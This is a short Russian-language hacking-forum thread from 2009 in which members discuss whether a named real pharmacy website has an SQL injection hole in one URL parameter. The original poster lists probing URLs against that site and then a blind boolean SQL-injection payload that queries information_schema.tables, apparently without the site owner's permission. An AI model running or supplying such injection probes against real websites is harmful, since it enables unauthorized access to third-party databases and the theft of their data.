Есть ли sql-inj?

Discussion in 'Болталка' started by Brain explosion, 6 Feb 2009.

  1. Brain explosion

    Brain explosion Banned

    Joined:
    30 Jan 2009
    Messages:
    17
    Likes Received:
    6
    Reputations:
    0
    _http://www.oldlekar.ru/InApteks.aspx?code=[sql-inj]?
    Сабж...
     
    #1 Brain explosion, 6 Feb 2009
  2. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    нет
     
    #2 groundhog, 6 Feb 2009
  3. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    5 звезд
     
    #3 Chaak, 6 Feb 2009
  4. Brain explosion

    Brain explosion Banned

    Joined:
    30 Jan 2009
    Messages:
    17
    Likes Received:
    6
    Reputations:
    0
    Ну я понимаю, что редирект в случае ошибки, но правильный запрос можно попытаться составить?
    Code:
    http://www.oldlekar.ru/InApteks.aspx?code=204835
http://www.oldlekar.ru/InApteks.aspx?code=204836-1
http://www.oldlekar.ru/InApteks.aspx?code=204836
    скуля есть, но слепая... ;)
    Code:
    http://www.oldlekar.ru/InApteks.aspx?code=204836+and+1=(SELECT+TOP+1+1+from+information_schema.tables)
     
    #4 Brain explosion, 6 Feb 2009
    Last edited: 6 Feb 2009
(You must log in or sign up to post here.)